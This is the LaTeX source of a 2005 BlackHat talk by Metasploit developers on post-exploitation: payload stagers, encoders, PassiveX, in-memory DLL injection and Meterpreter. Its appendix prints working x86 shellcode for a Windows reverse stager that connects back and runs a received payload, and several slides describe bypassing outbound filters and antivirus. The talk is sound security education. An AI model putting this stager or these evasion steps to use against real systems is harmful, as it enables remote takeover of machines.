infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
metasploit-framework/dev/bh/bh05.tex

1149 lines
34 KiB
TeX
Raw Blame History

\documentclass{beamer}
\usepackage{graphicx}
\usepackage{color}
\mode<presentation> { }
\usepackage[english]{babel}
\usepackage[latin1]{inputenc}
\usepackage{times}
\usepackage[T1]{fontenc}
% I think this looks cool, but whateva! - skape
%\usepackage{beamerthemeshadow}
% Love from spoon
\newcommand{\pdfpart}[1]{\label{pdfpart-#1}\pdfbookmark[0]{#1}{pdfpart-#1}\part{#1}}
\newenvironment{sitemize}{\vspace{1mm}\begin{itemize}\itemsep 4pt\small}{\end{itemize}}
\newenvironment{senumerate}{\vspace{1mm}\begin{enumerate}\itemsep 4pt\small}{\end{enumerate}}
% Presentation meta-information
\title{Beyond EIP}
\author[spoonm \& skape] {spoonm \& skape}
\date[BlackHat 2005] {BlackHat, 2005}
\subject{Beyond EIP}
% Add a spacer between each part
\AtBeginPart{\frame{\partpage}}
% Turn off the navigation on the bottom yo
\setbeamertemplate{navigation symbols}{}
% spoon hates berkeley!
%\usetheme[width=2.2cm]{Berkeley}
%\usecolortheme{sidebartab}
\begin{document}
\begin{frame}[t]
\titlepage
\end{frame}
\pdfpart{Introduction}
\begin{frame}[t]
\frametitle{Who are we?}
\begin{sitemize}
\item spoonm
\begin{sitemize}
\item Full-time student
\item Metasploit developer since late 2003
\end{sitemize}
\item skape
\begin{sitemize}
\item Lead software developer by day
\item Independent security researcher by night
\item Joined the Metasploit project in 2004
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{What's this presentation about?}
\begin{sitemize}
\item What it's not about
\begin{sitemize}
\item New exploit / attack vectors
\item New exploitation techniques
\item Oday, bugs, etc
\end{sitemize}
\pause
\item What it is about
\begin{sitemize}
\item Cools stuff to down after owning EIP
\item The techniques to do it
\item Our tools to support it
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Plan of attack}
\begin{sitemize}
\item Shellcode infrastructure
\begin{sitemize}
\item How it works / Background
\item Recent tools, tricks, and techniques
\end{sitemize}
\item Post-exploitation tools
\begin{sitemize}
\item Introduction, previous tools
\item The technology behind ours tools
\item Applications to evasion and anti-forensics
\item Crazy cool features for the end-user
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Our definitions: the exploitation cycle}
\begin{sitemize}
\item \textbf{Pre-exploitation} - Before the attack
\begin{sitemize}
\item Find a bug and locate the code
\item Write the exploit
\item Write any other tools, shellcode, etc
\end{sitemize}
\pause
\item \textbf{Exploitation} - Leveraging the vulnerability
\begin{sitemize}
\item Do some recon, gather information
\item Find a vulnerable target
\item Get network access to vulnerable target, etc
\item Initialize tools, infrastructure, etc
\item Launch the exploit
\end{sitemize}
\pause
\item \textbf{Post-exploitation} - Manipulating the target
\begin{sitemize}
% NOTE:
\item Not so much the command shell itself, but what you do with it
\item Command shell redirection
\item Arbitrary command execution
\item Advanced payload interaction
\item File access, VNC, pivoting, etc
\end{sitemize}
\end{sitemize}
\end{frame}
\pdfpart{Payload Infrastructure}
\section{Introduction}
\begin{frame}[t]
\frametitle{Anatomy of a Payload}
\begin{sitemize}
\item Nop sled
\item For exploits where return is uncertain
\item Control flows through the sled into the encoder
\item Generally 1 byte aligned for x86
\item Not very common for win32 exploits
\item Encoder (aka Decoder)
\item loops and decodes payload
\item payload executed when finished
\item Payload
\item do something cool here
\end{sitemize}
\end{frame}
\section{Pre-exploitation}
\begin{frame}[t]
\frametitle{Payload encoders}
\begin{sitemize}
\item Robust and elegant encoders do exist
\begin{sitemize}
\item SkyLined's Alpha2 x86 alphanumeric encoder
\item Spoonm's high-permutation Shikata Ga Nai
\end{sitemize}
\pause
\item Payload encoders generally taken for granted
\begin{sitemize}
\item Most encoders use a static decoder stub
\item Makes NIDS signatures easy to write
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{NOP generators}
\begin{sitemize}
\item NOP generation hasn't publicly changed much
\begin{sitemize}
\item Most PoC exploits use predictable single-byte NOPs (\texttt{0x90}), if any
\item ADMmutate's NOP generator easily signatured by NIDS (Snort, Fnord)
\item Not considered an important research topic to most
\end{sitemize}
\pause
\item Still, NIDS continues to play chase the tail
\begin{sitemize}
\item The mouse always has the advantage; NIDS is reactive
\item Advanced NOP generators and encoders push NIDS to its limits
\item Many protocols can be complex to signature (DCERPC fragmentation)
\end{sitemize}
\pause
\item Metasploit 2.4 released with a wide-distribution
multi-byte x86 NOP generator (Opty2)
\end{sitemize}
\end{frame}
\section{Exploitation}
\begin{frame}[t]
\frametitle{Exploitation techniques}
\begin{sitemize}
\item Exploitation techniques have become very mature
\begin{sitemize}
\item Linux/BSD/Solaris techniques are largely unchanged
\item Windows heap overflows can be made more reliable (Oded/Shok)
\item Windows SEH overwrites make exploitation easy, even on XPSP2
\end{sitemize}
\pause
\item Exploitation vectors have been beaten to death
\pause
\item ...so we wont be talking about them
\end{sitemize}
\end{frame}
\section{Post-exploitation}
\begin{frame}[t]
\frametitle{Standard payloads}
\begin{sitemize}
\item Standard payloads provide the most basic manipulation
of a target
\begin{sitemize}
\item Port-bind command shell
\item Reverse (connectback) command shell
\item Arbitrary command execution
\end{sitemize}
\pause
\item Nearly all PoC exploits use standard payloads
\pause
\item Command shells have poor automation support
\begin{sitemize}
\item Platform dependent intrinsic commands and
scripting
\item Reliant on the set of applications installed on the
machine
\item Hindered by chroot jails and host-based ACLs
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{``Advantage'' payloads}
\begin{sitemize}
\item Advantage payloads provide enhanced manipulation of
hosts, commonly through the native API
\item Help to reduce the tediousness of writing payloads
\item Core ST's InlineEgg
% TODO: Elaborate on InlineEgg
% TODO: others...
\end{sitemize}
\end{frame}
\pdfpart{Payload Stagers}
\begin{frame}[t]
\frametitle{What are payload stagers?}
\begin{sitemize}
\item Payload stagers are small stubs that load and execute other
payloads
\item The payloads that are executed are known as stages
\item Stages perform arbitrary tasks, such as spawning a
shell
\pause
\item Stagers are typically network based and follow three
basic steps
\begin{sitemize}
\item Establish connection to attacker (reverse,
portbind, findsock)
\item Read in a payload from the connection
\item Execute a payload with the connection in known a register
\end{sitemize}
\pause
\item The three steps make it so stages are connection method
independent
\begin{sitemize}
\item No need to have command shell payloads for
reverse, portbind, and findsock
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Why are payload stagers useful?}
\begin{sitemize}
\item Some vulnerabilities have limited space for the
initial payload
\pause
\item Typically much smaller than the stages
they execute
\pause
\item Eliminate the need to re-implement payloads for each
connection method
\pause
\item Provide an abstract way for getting arbitrary code
onto a remote machine through any medium
\end{sitemize}
\end{frame}
\section{Windows Ordinal Stagers}
\subsection{Overview}
\begin{frame}[t]
\frametitle{Windows ordinal stagers}
\begin{sitemize}
\item Technique from Oded's lightning talk at core04
\item Uses static ordinals in \texttt{WS2\_32.DLL} to locate symbol
addresses
\item Compatible with all versions of Windows (including 9X)
\item Results in very low-overhead symbol resolution
\item Facilitates implementation of reverse, portbind, and
findsock stagers
\item Leads to very tiny win32 stagers (92 byte reverse, 93
byte findsock)
\item Detailed write-up can be found in reference materials
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{How ordinal stagers work}
\begin{sitemize}
\item Ordinals are unique numbers that identify exported
symbols in PE files
\item Each ordinal can be used to resolve the address of an
exported symbol
\pause
\item Most of the time, ordinals are incremented linearly by the
linker
\item Sometimes, however, developers may wish to force
symbols to use the same ordinal every build
\item When ordinals are the same every build, they are
referred to as static
\pause
\item Using an image's exports by ordinal instead of by name
is more efficient at runtime
\item However, it will not be reliably portable unless the
ordinals are known-static
\pause
\item Very few PE files use known-static ordinals, but
\texttt{WS2\_32.DLL} is one that does
\begin{sitemize}
\item 30 symbols use static ordinals in
\texttt{WS2\_32.DLL}
\end{sitemize}
\end{sitemize}
\end{frame}
\subsection{Implementation}
\begin{frame}[t]
\frametitle{Implementing a reverse ordinal stager}
\begin{sitemize}
\item Locate the base address of \texttt{WS2\_32.DLL}
\begin{sitemize}
\item Extract the Peb->Ldr pointer
\item Extract Flink from the InInitOrderModuleList
\item Loop through loaded modules comparing module names
\item Module name is stored in unicode, but can be
partially translated to ANSI
\item Once \texttt{WS2\_32.DLL} is found, extract its
BaseAddress
\end{sitemize}
\pause
\item Resolve \texttt{socket}, \texttt{connect},
and \texttt{recv}
\begin{sitemize}
\item Use static ordinals to index the Export Directory Address Table
\end{sitemize}
\pause
\item Allocate a socket, connect to the attacker,
and read in the next payload
\pause
\item Requires that \texttt{WS2\_32.DLL} already be loaded
in the target process
\end{sitemize}
\end{frame}
\section{PassiveX}
\subsection{Overview}
\begin{frame}[t]
\frametitle{PassiveX}
\begin{sitemize}
\item Robust payload stager capable of bypassing restrictive
outbound filters
\item Compatible with Windows 2000+ running Internet
Explorer 6.0+
\item Uses HTTP to communicate with attacker
\item Provides an alternate vector for library injection via
ActiveX
\item Detailed write-up can be found in reference materials
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{How PassiveX works}
\begin{sitemize}
\item Enables support for both signed and unsigned ActiveX
controls in the \texttt{Internet} zone.
\begin{sitemize}
\pause
\item Necessary because administrators may have disabled
ActiveX support for security reasons
\end{sitemize}
\pause
\item Launches a hidden instance of Internet Explorer
\pause
\item Internet Explorer loads a page that the attacker
has put an embedded ActiveX control on
\pause
\item Internet Explorer loads and executes the ActiveX
control
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Why is PassiveX useful?}
\begin{sitemize}
\item Relatively small (roughly 400 byte) stager that does not
directly interact with the network
\pause
\item Bypasses common outbound filters by tunneling through
HTTP
\pause
\item Automatically uses proxy settings defined in Internet
Explorer
\pause
\item Bypasses trusted application restrictions (ZoneAlarm)
\pause
\item ActiveX technology allows the attacker to implement
complex code in higher level languages (C, C++, VB)
\begin{sitemize}
\item Eliminates the need to perform complicated tasks
from assembly
\item ActiveX controls are functionally equivalent to
executables
\end{sitemize}
\end{sitemize}
\end{frame}
\subsection{Implementation}
\begin{frame}[t]
\frametitle{Implementing the PassiveX stager}
\begin{sitemize}
\item Enable download and execution of ActiveX controls
\begin{sitemize}
\item Open the current user's \texttt{Internet} zone
registry key
\item Enable four settings
\begin{sitemize}
\item \texttt{Download signed ActiveX controls}
\item \texttt{Download unsigned ActiveX controls}
\item \texttt{Run ActiveX controls and plugins}
\item \texttt{Initialize and script ActiveX controls not
marked as safe}
\end{sitemize}
\end{sitemize}
\pause
\item Launch a hidden instance of Internet Explorer pointed
at a URL the attacker controls
\pause
\item Internet Explorer then loads and executes the attacker's
ActiveX control
\end{sitemize}
\end{frame}
\subsection{Example ActiveX: HTTP Tunneling Control}
\begin{frame}[t]
\frametitle{An example ActiveX control}
\begin{sitemize}
\item ActiveX controls may choose to build an HTTP tunnel
to the attacker
\item HTTP tunnels provide a streaming connection over HTTP
requests and responses
\item Useful for tunneling other protocols, like TCP,
through HTTP
% TODO: elaborate?
\end{sitemize}
\end{frame}
\subsection{Pros \& Cons}
\begin{frame}[t]
\frametitle{Pros \& cons}
\begin{sitemize}
\item \textbf{Pros}
\begin{sitemize}
\item Bypasses restrictive outbound filters at both a
network and application level
\pause
\item Provides a method for using complex code written
in a high-level language
\end{sitemize}
\pause
\item \textbf{Cons}
\begin{sitemize}
\item Does not work when run as a non-privileged user
\begin{sitemize}
\item Internet Explorer refuses to download ActiveX
controls
\end{sitemize}
\pause
\item Requires the ActiveX control to restore
\texttt{Internet} zone settings
\begin{sitemize}
\item May leave the machine vulnerable to compromise
if not done
\end{sitemize}
\end{sitemize}
\end{sitemize}
\end{frame}
\pdfpart{Payload Stages}
\begin{frame}[t]
\frametitle{What are payload stages?}
\begin{sitemize}
\item Payload stages are executed by payload stagers and
perform arbitrary tasks
\pause
\item Some examples of payload stages include
\begin{sitemize}
\item Execute a command shell and redirect IO to the
attacker
\item Execute an arbitrary command
\item Download an executable from a URL and execute it
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Why are payload stages useful?}
\begin{sitemize}
\item Can be executed independent of connection method
(portbind, reverse)
\begin{sitemize}
\item All stagers store the connection file descriptor
in a common register
\end{sitemize}
\pause
\item Not subject to size limitations of individual
vulnerabilities
\end{sitemize}
\end{frame}
\section{Library Injection}
\subsection{Overview}
\begin{frame}[t]
\frametitle{The library injection stage}
\begin{sitemize}
\item Payload stage that provides a method of loading a
library (DLL) into the exploited process
\pause
\item Libraries are functionally equivalent to executables
\begin{sitemize}
\item Full access to various OS-provided APIs
\item Can do anything an executable can do
\end{sitemize}
\pause
\item Library injection is covert; no new processes
need to be created
\pause
\item Detailed write-up can be found in reference materials
% TODO: elaborate?
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Types of library injection}
\begin{sitemize}
\item Three primary methods exist to inject a library
\begin{senumerate}
\item \textbf{On-Disk}: loading a library from the target's
harddrive or a file share
\item \textbf{In-Memory}: loading a library entirely from memory
\item \textbf{ActiveX}: loading a library through Internet
Explorer's ActiveX support
\end{senumerate}
\item On-Disk and In-Memory techniques are conceptually
portable to non-Windows platforms
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{On-Disk library injection}
\begin{sitemize}
\item Loading a library from disk has been the defacto
standard for Windows payloads
\item Loading a library from a file share was first
discussed by Brett Moore
\end{sitemize}
\pause
\begin{sitemize}
\item On-Disk injection subject to filtering by Antivirus due to
filesystem access
\item Requires that the library file exist on the target's
harddrive or that the file share be reachable
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{In-Memory library injection}
\begin{sitemize}
\item First Windows implementation released with Metasploit 2.2
\pause
\item Libraries are loaded entirely from memory
\pause
\item No disk access means no Antivirus interference
\pause
\item Most stealthy form of library injection thus far
identified
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{ActiveX library injection}
\begin{sitemize}
\item Uses Internet Explorer's ActiveX support to inject a DLL
\item Reliant on zone restrictions being set to permit ActiveX
\pause
\item Subject to filtering by Antivirus
\pause
\item Implemented by the PassiveX stager described earlier
\end{sitemize}
\end{frame}
\subsection{In-Memory Implementation on Windows}
\begin{frame}[t]
\frametitle{In-Memory library injection on Windows}
\begin{sitemize}
\item Library loading on Windows is provided through \texttt{NTDLL.DLL}
\item \texttt{NTDLL.DLL} only supports loading libraries from disk
\end{sitemize}
\pause
\begin{sitemize}
\item To load libraries from memory, \texttt{NTDLL.DLL} must be tricked
\pause
\item When loading libraries, low-level system calls are used to interact with the library on disk
\begin{sitemize}
\item \texttt{NtOpenFile}
\item \texttt{NtCreateSection}
\item \texttt{NtMapViewOfSection}
\end{sitemize}
\item These routines can be hooked to change their behavior to operate against a memory region
\end{sitemize}
\pause
\begin{sitemize}
\item Once hooked, calling \texttt{LoadLibraryA} with a unique pseudo file name is all that's needed
\end{sitemize}
\end{frame}
\subsection{Example DLL: VNC}
\begin{frame}[t]
\frametitle{Library injection in action: VNC}
\begin{sitemize}
\item VNC is a remote desktop protocol
\item Very useful for remote administration beyond simple CLIs
\end{sitemize}
\pause
\begin{sitemize}
\item First demonstrated at BlackHat USA 2004
\pause
\item Metasploit team converted RealVNC to a standalone DLL
\begin{sitemize}
\item No non-standard file dependencies
\item No installation required
\item Does not make any registry or filesystem changes
\item Does not listen on a port; uses payload connection as a VNC client
\end{sitemize}
\pause
\item By using the generic library loading stage, VNC was simply plugged in
\end{sitemize}
\pause
\begin{sitemize}
\item Extremely useful when illustrating security weaknesses
\item Suits understand mouse movement much better than command lines
\end{sitemize}
\end{frame}
\section{Meterpreter}
\subsection{Overview}
\begin{frame}[t]
\frametitle{The Meterpreter stage}
\begin{sitemize}
\item First released with Metasploit 2.3
\item Implemented using library injection technology
\pause
\item Uses payload connection for communicating with
attacker
\begin{sitemize}
\item Especially powerful with findsock payloads; no new
connection established
\end{sitemize}
\end{sitemize}
\pause
\begin{sitemize}
\item Primary goals are to be...
\begin{sitemize}
\item \textbf{Stealthy}: no disk access and no new process by default
\item \textbf{Powerful}: channelized communication and robust protocol
\item \textbf{Extensible}: run-time augmentation of features with extensions
\end{sitemize}
\end{sitemize}
\pause
\begin{sitemize}
\item Detailed write-up can be found in reference materials
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Why is Meterpreter useful?}
\begin{sitemize}
\item Platform independent design
\begin{sitemize}
\item Current implementation is Windows specific, but
concepts are portable
\end{sitemize}
\pause
\item Standard interface makes it possible to use one client
to perform common actions on various platforms
\begin{sitemize}
\pause
\item Execute a command interpreter and channelize the
output
\pause
\item Turn on the target's USB webcam and begin
streaming video
\end{sitemize}
\pause
\item Programmatically automatable
\begin{sitemize}
\item RPC-like protocol allows arbitrarily complex tasks
to be performed with a common interface
\item Extension-based architecture makes Meterpreter
completely flexible
\end{sitemize}
\pause
\item Use of in-memory library injection makes it possible
to run in a stealth fashion
\end{sitemize}
\end{frame}
\subsection{Implementation}
\begin{frame}[t]
\frametitle{Architecture - design goals}
\begin{sitemize}
\item Very flexible protocol; should adapt to extension
requirements without modification
\pause
\item Should expose a channelized communication system for
extensions
\pause
\item Should be as stealthy as possible
\pause
\item Should be portable to various platforms
\pause
\item Clients on one platform should work with servers on
another
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Architecture - protocol}
\begin{sitemize}
\item Uses TLV (\texttt{Type-Length-Value}) to support
opaque data
\pause
\item Every packet is composed of zero or more TLVs
\pause
\item Packets themselves are TLVs
\begin{sitemize}
\item Type is the packet type (request, response)
\item Length is the length of the packet
\item Value is zero or more embedded TLVs
\end{sitemize}
\pause
\item TLVs make packet parsing simplistic and flexible
\begin{sitemize}
\item No formatting knowledge is required to parse the
packet outside of the TLV structure
\end{sitemize}
\end{sitemize}
\end{frame}
\begin{frame}[t]
\frametitle{Core client/server interface}
\begin{sitemize}
\item Minimal interface to support the loading of extensions
\pause
\item Implements basic packet transmission and dispatching
\item Exposes channel allocation and management to
extensions
\pause
\item Also includes support for migrating the server to
another running process
\end{sitemize}
\end{frame}
\subsection{Example Extension: Stdapi}
\begin{frame}[t]
\frametitle{Meterpreter extensions in action: Stdapi}
\begin{sitemize}
\item Included in Metasploit 3.0
\item Combination of previous extensions into standard
interface
\pause
\item Provides access to standard OS features
\begin{sitemize}
\item Process execution, enumeration, and manipulation
\item Registry manipulation
\item File reading, writing, uploading, and downloading
\item Network pivoting
\item Route table and interface manipulation
\item \emph{Much} more
\end{sitemize}
\pause
\item Feature set provides for robust client-side automation
\end{sitemize}
\end{frame}
\section{DispatchNinja}
\begin{frame}[t]
\frametitle{Cool dN stuff here}
\end{frame}
\pdfpart{Post-Exploitation Suites}
\section{Post-Exploitation Suites}
\subsection{Motivations \& Goals}
\begin{frame}[t]
\frametitle{stuff}
\end{frame}
\pdfpart{Conclusion}
\begin{frame}[t]
\frametitle{Reference Material}
\textbf{Payload Stagers}
\begin{sitemize}
\item Windows Ordinal Stagers \\
\footnotesize{\url{http://www.metasploit.com/users/spoonm/ordinals.txt}}
\item PassiveX \\
\footnotesize{\url{http://www.uninformed.org/?v=1&a=3&t=sumry}}
\end{sitemize}
\textbf{Payload Stages}
\begin{sitemize}
\item Library Injection \\
\footnotesize{\url{http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf}}
\item Meterpreter \\
\footnotesize{\url{http://www.nologin.org/Downloads/Papers/meterpreter.pdf}}
\end{sitemize}
\end{frame}
\appendix
\pdfpart{Appendix: Payload Stagers}
\section{Windows Ordinal Stagers}
\subsection{Reverse Ordinal Stager Implementation}
\begin{frame}[fragile]
\frametitle{Locating WS2\_32.DLL's base address}
\footnotesize{
\begin{verbatim}
FC cld ; clear direction (lodsd)
31DB xor ebx,ebx ; zero ebx
648B4330 mov eax,[fs:ebx+0x30] ; eax = PEB
8B400C mov eax,[eax+0xc] ; eax = PEB->Ldr
8B501C mov edx,[eax+0x1c] ; edx = Ldr->InitList.Flink
8B12 mov edx,[edx] ; edx = LdrModule->Flink
8B7220 mov esi,[edx+0x20] ; esi = LdrModule->DllName
AD lodsd ; eax = [esi] ; esi += 4
AD lodsd ; eax = [esi] ; esi += 4
4E dec esi ; esi--
0306 add eax,[esi] ; eax = eax + [esi]
; (4byte unicode->ANSI)
3D32335F32 cmp eax,0x325f3332 ; eax == 2_32?
75EF jnz 0xd ; not equal, continue loop
\end{verbatim}
}
\end{frame}
\begin{frame}[fragile]
\frametitle{Resolve symbols using static ordinals}
\footnotesize{
\begin{verbatim}
8B6A08 mov ebp,[edx+0x8] ; ebp = LdrModule->BaseAddr
8B453C mov eax,[ebp+0x3c] ; eax = DosHdr->e_lfanew
8B4C0578 mov ecx,[ebp+eax+0x78]; ecx = Export Directory
8B4C0D1C mov ecx,[ebp+ecx+0x1c]; ecx = Address Table Rva
01E9 add ecx,ebp ; ecx += ws2base
8B4158 mov eax,[ecx+0x58] ; eax = socket rva
01E8 add eax,ebp ; eax += ws2base
8B713C mov esi,[ecx+0x3c] ; esi = recv rva
01EE add esi,ebp ; esi += ws2base
03690C add ebp,[ecx+0xc] ; ebp += connect rva
\end{verbatim}
}
\end{frame}
\begin{frame}[fragile]
\frametitle{Create the socket, connect back, recv, and jump}
\footnotesize{
\begin{verbatim}
; Use chained call-stacks to save space
; connect returns to recv returns to buffer (fd in edi)
53 push ebx ; push 0
6A01 push byte +0x1 ; push SOCK_STREAM
6A02 push byte +0x2 ; push AF_INET
FFD0 call eax ; call socket
97 xchg eax,edi ; edi = fd
687F000001 push dword 0x100007f ; push sockaddr_in
68020010E1 push dword 0xe1100002
89E1 mov ecx,esp ; ecx = &sockaddr_in
53 push ebx ; push flags (0)
B70C mov bh,0xc ; ebx = 0x0c00
53 push ebx ; push length (0xc00)
51 push ecx ; push buffer
57 push edi ; push fd
51 push ecx ; push buffer
6A10 push byte +0x10 ; push addrlen (16)
51 push ecx ; push &sockaddr_in
57 push edi ; push fd
56 push esi ; push recv
FFE5 jmp ebp ; call connect
\end{verbatim}
}
\end{frame}
\end{document}
\begin{comment}
NOTEZ
First
What aren't we talking about
- New exploit vectors
- New exploit techniques
- Bugs in any shape, size, or form
What is encoding, and why do we do it?
- Bad character avoidence, don't need special case payloads for that..
- Added bonus of evasion
- Nice because you usually just need to write 1 good encoder...
What is staging, and why?
- Size problem
- Multiple your aresenal, 5 stagers + 5 stages, 10 shellcodes, but 25 payloads
Should move around the ordinal information, explain what ordinals are first.
Talk about how ordinals are diffined to be static in their .lib
List some of the limitations for ws2_32 (like no WSASocket, and what that means
in terms of writing shellcode, pipe shell, etc).
Post exploitation.
What's most important to them
1) Features
2) Evasion
3) Technology.
The order we should present is reverse, save the best for last
1) introduce and explain the technology
- dll injection
- TLV protocol, async, threadsafe, meterp sharing, etc
- Ruby APIs (how they emulate the native APIs, native API replacement, etc)
2) explain how this has the added benefit against anti-forensics
- no disk access
- anti-debugging
- page locking / swapping prevention
- encryption
- connection reuse and tunneling / channels
- no filesystem .exe loading...
3) explain the type of features an end-pentester would see
- pivoting / portfwd
- file upload / download, list, run, etc
- channels, multiple command shells, hung terminal doesn't totally fuck you
- vnc / idle time stffu (ties into stealthyness)
Possible flashy demos:
- migrating
- Possibly change window colors, move windows, etc in the process we migrate
to. Was shok's idea, so you could "visualize" the migrate, etc.
- Do some flashy no-disk .exe injection, send up an opengl demo!
Interesting asides:
- Great for testing (Metatest, bringing you a better Metasploit Framework!)
- make a insanely great remote control application (automation)
Future stuff:
- Botnetesk type stuff / mesh
- Listening meterp / multiple control channels / better collaboration..
OLD ----
Notes on post-exploitation
- Core Impact / Syscall Proxying
+ Mainly written to support their feature set, not to expose it to an end
user. Don't think you're going to get much access to the syscall libraries,
they are all written in C and dlls for the most part it seems.
+ you get their nice features, pivoting, file access, minishell, etc, but
for anything beyond that, you have to upgrade your agent, and then I don't
believe those are using syscall proxying type things anymore. I think some
of them bundle python interpreters...
+ how it works
+ really cool, and simple
+ no need to write vicitim-side code for any calls you want to make
+ inefficent for some types of things (port scanning)
- CANVAS
- mosdef
- model is very similar to dN
- you have to write a client and server component
- build environment not seperated, have you write your client side component
in wanna-be-aitel c, and have you have it in a python script.
- he has an API to do some stuff, but mostly low level stuff, and nothing
high level and cool.
- like all of his stuff, it's very rough and primitive seeming. I'm sure,
just like spike, you can do some cool stuff with it, but it's like building
a car with a rock, or something...
+ Code is dirty....
+
\end{comment}
Reference in New Issue View Git Blame Copy Permalink